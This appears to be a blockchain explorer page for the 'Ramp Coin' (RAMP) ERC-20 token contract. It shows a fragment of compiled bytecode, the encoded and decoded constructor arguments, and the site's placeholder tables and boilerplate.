509250925092565b600080604083850312156108a8578182fd5b6108b1836107f1565b946020939093013593505050565b600080602083850312156108d1578182fd5b823567ffffffffffffffff808211156108e8578384fd5b818501915085601f8301126108fb578384fd5b813581811115610909578485fd5b866020808302850101111561091c578485fd5b60209290920196919550909350505050565b60008251610940818460208701610c49565b9190910192915050565b6001600160a01b0391909116815260200190565b6001600160a01b0383168152604060208083019190915282546000919082906002810460018281168061099257607f831692505b8583108114156109b057634e487b7160e01b87526022600452602487fd5b6109bd8360408a01610c02565b8180156109d157600181146109e257610a0c565b60ff19861682528782019650610a0c565b6109eb8b610c19565b895b86811015610a06578154848201529085019089016109ed565b83019750505b50949a9950505050505050505050565b901515815260200190565b6000602082528251806020840152610a46816040850160208701610c49565b601f01601f19169190910160400192915050565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601d908201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604082015260600190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b6020808252600190820152603160f91b604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b90815260200190565b60ff91909116815260200190565b60009081526020902090565b60008219821115610c4457634e487b7160e01b81526011600452602481fd5b500190565b60005b83811015610c64578181015183820152602001610c4c565b838111156105755750506000910152565b600281046001821680610c8957607f821691505b60208210811415610caa57634e487b7160e01b600052602260045260246000fd5b5091905056fea264697066735822122011e00597507100999ed382d72f01f99287137b11a9092f25d44bbe1401e62fe964736f6c63430008000033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000dff32c65f843188cf64ecbc6f4a13cff12581b9d0c6c6e15a768743a5cd30932b3df9fc18b87fedab4de8093dc9c77d8ca3c424e000000000000000000000000000000000000000000000000000000000000000952616d7020436f696e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000452414d5000000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): Ramp Coin
Arg [1] : symbol_ (string): RAMP
Arg [2] : bookToken_ (address): 0xDff32C65f843188cF64ECBC6F4a13cFf12581b9D
Arg [3] : bookingNum_ (uint256): 5619333441882411738555422456963943089180089358551308746477479094267204616782

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 000000000000000000000000dff32c65f843188cf64ecbc6f4a13cff12581b9d
Arg [3] : 0c6c6e15a768743a5cd30932b3df9fc18b87fedab4de8093dc9c77d8ca3c424e
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [5] : 52616d7020436f696e0000000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [7] : 52414d5000000000000000000000000000000000000000000000000000000000


Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.